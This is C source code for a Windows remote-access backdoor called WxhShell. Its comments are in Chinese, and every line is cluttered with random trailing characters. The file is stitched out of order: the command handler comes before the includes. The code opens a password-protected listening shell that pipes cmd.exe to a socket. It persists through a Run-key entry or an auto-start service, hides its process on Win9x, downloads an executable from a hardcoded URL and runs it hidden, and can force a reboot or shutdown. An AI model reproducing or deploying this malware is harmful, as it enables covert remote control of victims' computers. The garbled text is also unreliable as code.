    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xwJ. cy  
    if(Boot(SHUTDOWN)) `;c{E%qeq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=%R>&]*  
    else { )IFFtU~,  
    closesocket(wsh); ZzO^IZKlC  
    ExitThread(0); fep8hf B;  
    } fxOa(mt  
    break; RxB9c(s^@  
    } C$x r)_  
  // 获取shell $[6]Ly(F)  
  case 's': { J$>9UC k7B  
    CmdShell(wsh); k|r|*|8  
    closesocket(wsh); xX:N-  
    ExitThread(0); |y%M";MI  
    break; [-p?gyl  
  } Z(|'zAb^  
  // 退出 3 q^^Os  
  case 'x': { X+%5q =N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s[n*fV']A  
    CloseIt(wsh); 1w$X;q"  
    break; #*tWhXU  
    } {aoG60N  
  // 离开 6>d0i S@R  
  case 'q': { Hs#q 7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W1\F-:4L@  
    closesocket(wsh); Ve9*>6i&-4  
    WSACleanup(); \s@7pM=(  
    exit(1); 84f~.45  
    break; 0_f6Qrcj  
        }  N3m~nEj  
  } "Nh}_jO  
  } j&|>Aa${  
'2:HBJ  
  // 提示信息 (Wu J9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [rO TWN  
} rYfN  
  } +#RqQ8 \  
K)&oDwk  
  return; L3J .Oh  
} r"hogmFD;  
}{SpV  
// shell模块句柄 ]m=2 $mK  
int CmdShell(SOCKET sock) q_b,3Tp  
{ k.6gX<T  
STARTUPINFO si; o/\f+iz7  
ZeroMemory(&si,sizeof(si)); 5)=YTUCk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XNaiMpp'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %4I13|<A`  
PROCESS_INFORMATION ProcessInfo; u}(K3H3  
char cmdline[]="cmd"; !g2 ~|G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LQ{z}Ay  
  return 0; qgkC)  
} ;hZ^zL  
x*a^msY%  
// 自身启动模式 ,xOOR   
int StartFromService(void) 2od 9Q=v~  
{ vD91t/_+  
typedef struct Z~Vups#+f  
{ 8-geBlCE,  
  DWORD ExitStatus; \wb0%> 0  
  DWORD PebBaseAddress; e .(  
  DWORD AffinityMask; iji2gWV}h  
  DWORD BasePriority; H6 V!W\:s  
  ULONG UniqueProcessId; +AkMU|6  
  ULONG InheritedFromUniqueProcessId; bPMkBm  
}   PROCESS_BASIC_INFORMATION; gbr-C  
-P>up)p  
PROCNTQSIP NtQueryInformationProcess; VI(2/**  
*U:0c ;h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _@A%t&l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c 0.? d]  
!McRtxq?~  
  HANDLE             hProcess; `Qxdb1>mjY  
  PROCESS_BASIC_INFORMATION pbi; .?dYY;P  
vcz?;lg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0UN65JBuD  
  if(NULL == hInst ) return 0; %(d0`9  
+et)!2N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f~Ve7   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?3; 0 SAh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x~n]r[!L  
3x3 =ke!  
  if (!NtQueryInformationProcess) return 0; mNdEn<W  
"3e1 7dsY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2&KM&NX~  
  if(!hProcess) return 0; 2E_d$nsJ  
~`!{5:v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }:xj%?ki  
x2$Y"b?vz  
  CloseHandle(hProcess); MgrJ ;?L  
B nu5\P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )^[PW&=W|x  
if(hProcess==NULL) return 0; =q"o%dc`R  
^hyp}WN  
HMODULE hMod; :#nv:~2]  
char procName[255]; ^#p+#_*V  
unsigned long cbNeeded; h%+6 y  
^/:G`'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4fgYO]  
%=<Kb\  
  CloseHandle(hProcess); 5"^Z7+6  
XFJz\'{  
if(strstr(procName,"services")) return 1; // 以服务启动 AEO7I f@  
M0Vs9K=  
  return 0; // 注册表启动 Ns5'K^  
} S E0&CV4  
JzZ@Z8%a;  
// 主模块 =b/:rSd$NA  
int StartWxhshell(LPSTR lpCmdLine) &!0%"4  
{ ZK$<"z6{  
  SOCKET wsl; bP HtP\)  
BOOL val=TRUE; ~F^7L5d}C  
  int port=0; BaXf=RsZ  
  struct sockaddr_in door; =P7!6V\f  
[;,Xp/  
  if(wscfg.ws_autoins) Install(); Y9ipy_@_?  
bO6LBSZx]  
port=atoi(lpCmdLine); < NlL,  
m={TBV,L  
if(port<=0) port=wscfg.ws_port; s%Irh;Bs  
344E4F"ph  
  WSADATA data; Fz1K*xx'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0.!!rq,  
\ ix& U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hVf;{p &  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #@8JYzMq%  
  door.sin_family = AF_INET; 0;SRmj@W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (^9dp[2  
  door.sin_port = htons(port); 2x<4&^  
0o_wy1O1,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -_+,HyJP  
closesocket(wsl); O]%Vh l  
return 1; q&d5V~q  
} R~!md  
NjP7?nXSx  
  if(listen(wsl,2) == INVALID_SOCKET) { \Rz-*zr&  
closesocket(wsl); U_61y;Q"  
return 1; \+VQoB/  
} #"KaRh  
  Wxhshell(wsl); `Yw:<w\4C  
  WSACleanup(); %(i(Cf8@  
1 TA\6a}  
return 0; 1`v$R0 `!  
9ELRn@5.  
} Io\tZXB  
-H9WwFk  
// 以NT服务方式启动 u7}C):@H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pt[ b;}  
{ &)GlLpaT  
DWORD   status = 0; 5rlZ'>I.  
  DWORD   specificError = 0xfffffff; s8|F e_  
@8"cT-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d[$YTw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O#3PUuE%d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f0]`TjY  
  serviceStatus.dwWin32ExitCode     = 0; r0j+P%  
  serviceStatus.dwServiceSpecificExitCode = 0; ' T%70)CM~  
  serviceStatus.dwCheckPoint       = 0; @zi_@B  
  serviceStatus.dwWaitHint       = 0; tr-muhuK  
Dh.pH1ZY3n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Eq6. s)10  
  if (hServiceStatusHandle==0) return; ,*j@Zb_r  
/6yH ,{(a  
status = GetLastError(); 'm|PSwB7  
  if (status!=NO_ERROR) 87q~ nk  
{ m(p0)X),_i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m 7/b.B}  
    serviceStatus.dwCheckPoint       = 0; _ Y8j l,J  
    serviceStatus.dwWaitHint       = 0; G[ gfD\  
    serviceStatus.dwWin32ExitCode     = status; R~H+.Vh  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? H7?>ZE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WNWtQ2]  
    return; |nT+ W| 0U  
  } Wk-jaz  
=At)?A9[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7xoq:oP-}N  
  serviceStatus.dwCheckPoint       = 0; K} TSwY  
  serviceStatus.dwWaitHint       = 0; xF])NZy|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }e0>Uk`[  
} `z~L0h  
K~Z$NS^W&  
// 处理NT服务事件,比如:启动、停止 *!&,)''  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <) VNEy'  
{ vCsJnKqK  
switch(fdwControl) |eEXCn3{  
{ f/3rcYR;y  
case SERVICE_CONTROL_STOP: +puF0]TR,i  
  serviceStatus.dwWin32ExitCode = 0; r>Cv@4/j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]D&\|,,(  
  serviceStatus.dwCheckPoint   = 0; bPUldkB:  
  serviceStatus.dwWaitHint     = 0; Ys+NIV#Q  
  { gN5;Uk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /\d@AB^5I  
  } =L&dV]'4P  
  return; 9 gWqs'  
case SERVICE_CONTROL_PAUSE: 5[|ZceY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'NSfGC%7R  
  break; &9Xn:<"`)  
case SERVICE_CONTROL_CONTINUE: t2RL|$>F1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TpAso[r  
  break; ~Zo;LSI  
case SERVICE_CONTROL_INTERROGATE: @JU Xp  
  break; %WAaoR&u  
}; W:V.\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rhj_cw  
} N%fDgK  
a}5/?/  
// 标准应用程序主函数 VkZ3Q7d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  re@;6o  
{ EN;4EC7tE  
:XCRKRDLE  
// 获取操作系统版本 UB3hC`N\  
OsIsNt=GetOsVer(); \CVrLn;}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c%5Suu( J6  
0^mCj<g  
  // 从命令行安装 N.dcQQ_iS  
  if(strpbrk(lpCmdLine,"iI")) Install(); RLR\*dL1  
zr^"zcfz&  
  // 下载执行文件 :@K~>^+U  
if(wscfg.ws_downexe) { $_Q]3"U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fb<fQIa  
  WinExec(wscfg.ws_filenam,SW_HIDE); gRg8D{  
} Q 1[E iM3  
"`Y.5.  
if(!OsIsNt) { ]@ N::!m  
// 如果时win9x,隐藏进程并且设置为注册表启动 $n_ax\15  
HideProc(); AGK{t+`  
StartWxhshell(lpCmdLine); K-4o_:F  
} J>Bc-%.Q  
else *IIuGtS  
  if(StartFromService()) &2,^CG  
  // 以服务方式启动 ,)Z1&J?  
  StartServiceCtrlDispatcher(DispatchTable); *Z2#U ?_  
else +XpQ9Cd  
  // 普通方式启动 :YM1p&|fS  
  StartWxhshell(lpCmdLine); V*H7m'za  
UYvdzCUh  
return 0; O1Nya\^g<I  
} SshjUNx  
Q(/F7 "m  
@|d+T"f  
&{ZTtK&JF  
=========================================== sjG@4Or  
L^e%oQ>s  
k@^T<Ci  
37 d-!  
+ ;_0:+//  
}E#1Z\)  
" OEhDRU%k  
b{a\j%  
#include <stdio.h> > 8%O;3-m#  
#include <string.h> _l=X?/  
#include <windows.h> Uu~~-5  
#include <winsock2.h> As>P(  
#include <winsvc.h> Aga{EKd  
#include <urlmon.h> }T&~DVM  
MTAq} 8  
#pragma comment (lib, "Ws2_32.lib") DTz)qHd#X  
#pragma comment (lib, "urlmon.lib") i^}ib RQbN  
_ pO1XM  
#define MAX_USER   100 // 最大客户端连接数 Hgbrlh  
#define BUF_SOCK   200 // sock buffer 9@wmngvM*Y  
#define KEY_BUFF   255 // 输入 buffer m4,inA:o  
z, c=."<z  
#define REBOOT     0   // 重启 H&uh$y@  
#define SHUTDOWN   1   // 关机 s7s@!~  
lX/:e=  
#define DEF_PORT   5000 // 监听端口 ub]"b[j\1  
iHlee=}od  
#define REG_LEN     16   // 注册表键长度 {\55\e/C,  
#define SVC_LEN     80   // NT服务名长度 aPm2\Sq$  
O:jaA3  
// 从dll定义API gb}>xO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C^7M>i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GU7f27p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 495A\8#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y InPmR  
1;JH0~403  
// wxhshell配置信息 jS4 fANG  
struct WSCFG { J=Hyoz+9  
  int ws_port;         // 监听端口 ^b6yN\,S  
  char ws_passstr[REG_LEN]; // 口令 *}=z^;_oq  
  int ws_autoins;       // 安装标记, 1=yes 0=no >j)y7DSE  
  char ws_regname[REG_LEN]; // 注册表键名 Mi047-% (  
  char ws_svcname[REG_LEN]; // 服务名 nTCwLnX(O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V=)' CCi{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /A93mY[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Ke\Yb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uf#9y182*c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9YY*)5eyD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =i>i,>bv  
gXe`G( w  
}; l(d3N4iz  
#A=ER[[  
// default Wxhshell configuration hE;BT>_dn  
struct WSCFG wscfg={DEF_PORT, G-5ezVli  
    "xuhuanlingzhe", `Hd~H  
    1, $fG~;`T  
    "Wxhshell", 4nKlW_{,  
    "Wxhshell", o "1X8v  
            "WxhShell Service", Lc_cB`  
    "Wrsky Windows CmdShell Service", );d"gv(]D  
    "Please Input Your Password: ", 4rUOk"li  
  1, ,P^4??' o  
  "http://www.wrsky.com/wxhshell.exe", r>g5_"FL  
  "Wxhshell.exe" U U@  
    }; $lb$<  
yny1i9 y  
// 消息定义模块 {9- n3j}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  0X}0,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sF~!qag4q'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BVu{To:g  
char *msg_ws_ext="\n\rExit."; `&i\q=u+  
char *msg_ws_end="\n\rQuit."; b{}ao  
char *msg_ws_boot="\n\rReboot..."; uA~?z :~=  
char *msg_ws_poff="\n\rShutdown...";  =h|xlT  
char *msg_ws_down="\n\rSave to "; jbp?6GW  
gm =LM=  
char *msg_ws_err="\n\rErr!"; G(gZL%M6  
char *msg_ws_ok="\n\rOK!"; ;@H:+R+(  
c{[lT2yxU  
char ExeFile[MAX_PATH]; 75eZhs[b  
int nUser = 0; F<J`1 :  
HANDLE handles[MAX_USER]; o8fY!C)  
int OsIsNt;  }A&I@2d  
%PC8}++  
SERVICE_STATUS       serviceStatus; nIGElt]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @|<qTci  
hkx(r5o  
// 函数声明 Lm*PHG  
int Install(void); 7' Gk ip  
int Uninstall(void); Y{9xF8#  
int DownloadFile(char *sURL, SOCKET wsh); }70A>JBw  
int Boot(int flag); tv%B=E!r  
void HideProc(void); G rI<w.9X  
int GetOsVer(void); ##nC@h@  
int Wxhshell(SOCKET wsl); k(M(]y_  
void TalkWithClient(void *cs); 75;g|+  
int CmdShell(SOCKET sock); \ `R8s_S  
int StartFromService(void); Fb6d1I^wR  
int StartWxhshell(LPSTR lpCmdLine); #~[{*[B+  
^Vg-fO]V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xB5QM #w\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u,./,:O%=  
Rw)=<XV)6  
// 数据结构和表定义 RaOLy \  
SERVICE_TABLE_ENTRY DispatchTable[] = ~L:H]_8F l  
{ =s&ycc;-5}  
{wscfg.ws_svcname, NTServiceMain}, F8|m i`f-  
{NULL, NULL} \i3)/sZ?l  
}; '<xV]k|v  
\k5 sdHmI[  
// 自我安装 h}Lrpr2r  
int Install(void) GK1oS  
{ 395`Wkv  
  char svExeFile[MAX_PATH]; avW33owb@  
  HKEY key; {xf00/  
  strcpy(svExeFile,ExeFile); Q^):tO]!Ma  
MH|R@g  
// 如果是win9x系统,修改注册表设为自启动 * 'Bu-1{  
if(!OsIsNt) { i&j]FX6q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q^h/64F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1NkJs&  
  RegCloseKey(key); dUv(Pu(.#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6pbtE]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9ePom'1f1  
  RegCloseKey(key); 77-G*PI*I  
  return 0; p$mt&,p  
    } KPA.5,ai  
  }  %e(DPX  
} YT6dI"48  
else { ZqX p f  
(XEJd4r  
// 如果是NT以上系统,安装为系统服务 ]I\9S{?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uh+6fE]p  
if (schSCManager!=0) ]q/USVj{  
{ k:URP`w[X=  
  SC_HANDLE schService = CreateService (*9-Fa  
  ( OoQLR  
  schSCManager, ~ 1~|/WG  
  wscfg.ws_svcname, %DM0Z8P$B-  
  wscfg.ws_svcdisp, .R)uk  
  SERVICE_ALL_ACCESS, 51;[R8'w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~SS3gLv  
  SERVICE_AUTO_START, q@1xYz:J  
  SERVICE_ERROR_NORMAL, SGu`vN]  
  svExeFile,  Z>pZ|  
  NULL, Q 3/J @MC  
  NULL, Y|buQQ|  
  NULL, A=wG};%_  
  NULL, )r?- _qj=  
  NULL sgRWjrc/  
  ); a%5/Oc[[  
  if (schService!=0) + ]iK^y-.r  
  { }ld^zyL  
  CloseServiceHandle(schService); ^U##9KkP  
  CloseServiceHandle(schSCManager); LCW}1H:Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;,s9jw  
  strcat(svExeFile,wscfg.ws_svcname); hii#kB2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C7K]c4T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ""*g\  
  RegCloseKey(key); ,c&gw tdl  
  return 0; ^I) +u>fJ  
    } ^0-e.@  
  } {W HK|l   
  CloseServiceHandle(schSCManager); dWdD^>8Ef  
} r1 b"ta  
} 6 [?5hmc"w  
MaPI<kYQv  
return 1; -A zOujSS  
} UG[r /w5(F  
~K"nm{.  
// 自我卸载 _fSBb<  
int Uninstall(void) *%*B o9a/  
{ Hbn78,~ .  
  HKEY key; =.w~qL  
$hMD6<e  
if(!OsIsNt) { Cj$:TWYIh[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rA E5.Q!u  
  RegDeleteValue(key,wscfg.ws_regname); |a %Wd  
  RegCloseKey(key); hzT)5'_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F|@\IVEB]  
  RegDeleteValue(key,wscfg.ws_regname); Wg20H23XW  
  RegCloseKey(key); '.C#"nY>1  
  return 0; U uC-R)  
  } VfUHqdg-  
} $ Ggnn#  
} 3W{ !\  
else { 9E NI%Jz  
{h PB%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UZ#oaD8H6  
if (schSCManager!=0) Vf<q-3q  
{ ;e< TEs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %0 i)l|  
  if (schService!=0) /4@ [^}x  
  { z:Z-2WV2o  
  if(DeleteService(schService)!=0) { SlwQ_F"4L  
  CloseServiceHandle(schService); JW )f'r_f  
  CloseServiceHandle(schSCManager); tG ZMIG_  
  return 0; U`5/tNx  
  } tzv4uD]  
  CloseServiceHandle(schService); H8g%h}6h  
  } bwj{5-FU  
  CloseServiceHandle(schSCManager); (.X)=  
} 1 b 86@f   
} aOS,%J^ ?  
uB#U( jl  
return 1; [ D.%v~j  
} C!ch !E#  
}r@yBUW  
// 从指定url下载文件 r-yUWIr S  
int DownloadFile(char *sURL, SOCKET wsh) `'&mO9,<-  
{ J_;*@mW  
  HRESULT hr; MTKNIv|  
char seps[]= "/"; k>7bPR5Mw  
char *token; n1PBpM9!  
char *file; +vxOCN4}v  
char myURL[MAX_PATH]; 53gLz_ee  
char myFILE[MAX_PATH];  .FC+  
p|8ZHR+  
strcpy(myURL,sURL); Ow.DBL)x'>  
  token=strtok(myURL,seps); ,II3b( l  
  while(token!=NULL) LrT EF j  
  { \P")Eh =d  
    file=token; V)l:fUm2  
  token=strtok(NULL,seps); `*BV@  
  } 6q>}M  
&9|L Z9K  
GetCurrentDirectory(MAX_PATH,myFILE); S[zGA<}  
strcat(myFILE, "\\"); d4*SfzB  
strcat(myFILE, file); ' QMcQvU  
  send(wsh,myFILE,strlen(myFILE),0); u&^KrOM@#  
send(wsh,"...",3,0); '&dT   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "j8)l4}  
  if(hr==S_OK) ,B_c  
return 0; N-_APWA  
else K&Bbjb_|  
return 1; Em^~OM3U$q  
M=lU`Sm  
} .a7RGT3]m  
C=]<R< Xy  
// 系统电源模块 MkL2I+*  
int Boot(int flag) _U-`/r o  
{ 9} m?E<6&  
  HANDLE hToken; GBT|1c'i  
  TOKEN_PRIVILEGES tkp; ! |UX4  
X^K^az&L  
  if(OsIsNt) { /t`\b [  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cz{`'VN}`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {\CWoFht>  
    tkp.PrivilegeCount = 1; 0c`nk\vUy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c)B3g.C4m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6h2keyod  
if(flag==REBOOT) { V7r_Ubg@K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JJ%@m;~  
  return 0; (RV#piM  
} >}%#s`3W1_  
else { AvB=/p@]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IZ7o6Etti  
  return 0; _ +NjfF|  
} 2#sFY/@  
  } [DH4iG5  
  else { $ P 5K   
if(flag==REBOOT) {  Pd\4hy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fa[^D~$l*  
  return 0; )Uy%iE*  
} !Q15qvRS  
else { *DC/O( 0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]& ckq  
  return 0; lnHY?y7{  
} peBHZJ``RX  
} #qY gQ<TM!  
PA ?2K4  
return 1; <%Nf"p{K  
} t(6]j#5   
}DS%?6}Sy  
// win9x进程隐藏模块 GIH{tr1:<  
void HideProc(void) wT\BA'VQ  
{ l<GN<[/.+  
nJ]7vj,rB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4 ZnQpKg  
  if ( hKernel != NULL ) WA~[) S0  
  { $wp>2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )9_W"'V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j?m(l,YD|*  
    FreeLibrary(hKernel); N%}J:w  
  } xb3G,F  
wbAwmOiZ  
return; Gd_0FF.  
} ,v K%e>e&  
{VW\EOPV~  
// 获取操作系统版本 L6PgWc;m  
int GetOsVer(void) m~AAO{\:b  
{ V [g^R*b  
  OSVERSIONINFO winfo; <O0tg[ub  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i0K 2#}=^  
  GetVersionEx(&winfo); P dqvXc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?Y3i-jY  
  return 1; Zf3(! a[  
  else Ig}hap]G  
  return 0; 5=I({=/>  
} e'A_4;~@s  
BInSS*L  
// 客户端句柄模块 Lv['/!DJ|  
int Wxhshell(SOCKET wsl) t!Cz;ajNi  
{ x\8g ICf  
  SOCKET wsh; 4X]/8%]V  
  struct sockaddr_in client; Ja:4EU$Lu  
  DWORD myID; QUn!& 55  
6E-eD\?I&  
  while(nUser<MAX_USER) JCn HEH  
{ O}zHkcL  
  int nSize=sizeof(client); o #\L4P(J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~*/ >8R(Y  
  if(wsh==INVALID_SOCKET) return 1; @i!+Z  
<Y7j'n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /~u^@@.  
if(handles[nUser]==0) mc%. 8i  
  closesocket(wsh); f?tU5EX  
else Rf8Obk<  
  nUser++; `WOoC   
  } f tTD-d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jn|NrvrX  
GqL&hbpi  
  return 0; 5@%Gq)z5  
} \ YF@r7  
4;J.$  
// 关闭 socket >~Zj  
void CloseIt(SOCKET wsh) X}(X\rp  
{ pLCj"D).M  
closesocket(wsh); gi,7X\`KQ  
nUser--; 3-hcKE  
ExitThread(0); >y#MEN>?  
} V'=;M[&  
x)dLY.'|  
// 客户端请求句柄 !AE;s}v)0{  
void TalkWithClient(void *cs) &,%n  
{ JseKqJ?g  
aUZ?Ue9l>2  
  SOCKET wsh=(SOCKET)cs; &?bsBqpN  
  char pwd[SVC_LEN]; ~/K&=xE  
  char cmd[KEY_BUFF]; NzyEsZ]$  
char chr[1]; "=s}xAM|A  
int i,j; |Jd8ul:&e  
Y+Z+Y)K  
  while (nUser < MAX_USER) { tq h)yr;  
,\"x#Cc f  
if(wscfg.ws_passstr) { V[kJ;YLPN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i4D]>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 51|s2+GG  
  //ZeroMemory(pwd,KEY_BUFF); "rLm)$I  
      i=0; siCi+Y  
  while(i<SVC_LEN) { *uRDB9#9,  
E*5aLT5!,  
  // 设置超时 * cW%Q@lit  
  fd_set FdRead; 2QbKh)   
  struct timeval TimeOut; eK1l~W%  
  FD_ZERO(&FdRead); !Z2h ?..O  
  FD_SET(wsh,&FdRead); J[6/dM  
  TimeOut.tv_sec=8; /ojwOJ  
  TimeOut.tv_usec=0; p1niS:}j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e_epuki  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZrEou}z(*  
153*b^iDBh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 18%$Z$K,  
  pwd=chr[0]; A,EG0yb  
  if(chr[0]==0xd || chr[0]==0xa) { n$SL"iezW?  
  pwd=0; bS8$[7OhX  
  break; 7=fN vES2  
  } xI?'Nh  
  i++; L@[}sMdq(  
    } Zj]tiN f\"  
B"> Ko3  
  // 如果是非法用户,关闭 socket [rcM32  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :!Q(v(M  
} JJ)  
VO:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jG `PyIgw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #@BhGB`9Qt  
yxu7YGp%  
while(1) { |khFQ(  
h='&^1  
  ZeroMemory(cmd,KEY_BUFF); "" ^n^$  
/7S g/d%c  
      // 自动支持客户端 telnet标准   U~yPQ8jD  
  j=0; 5g-1pzP9  
  while(j<KEY_BUFF) { ],!}&#|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3t9+YdNKU  
  cmd[j]=chr[0]; *y<eK0  
  if(chr[0]==0xa || chr[0]==0xd) { 'j'6x'[> ]  
  cmd[j]=0; J)Yz@0#T(;  
  break; Hfj.8$   
  } nt>3i! l  
  j++; /!Ag/SmS!9  
    } P|ibUxSA~,  
J3aom,$o  
  // 下载文件 }KUK|p5  
  if(strstr(cmd,"http://")) { /V+7:WDj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6bj77CoB  
  if(DownloadFile(cmd,wsh)) fI;nVRf p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aj1g9 y  
  else <e 9d5-2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )!AH0p  
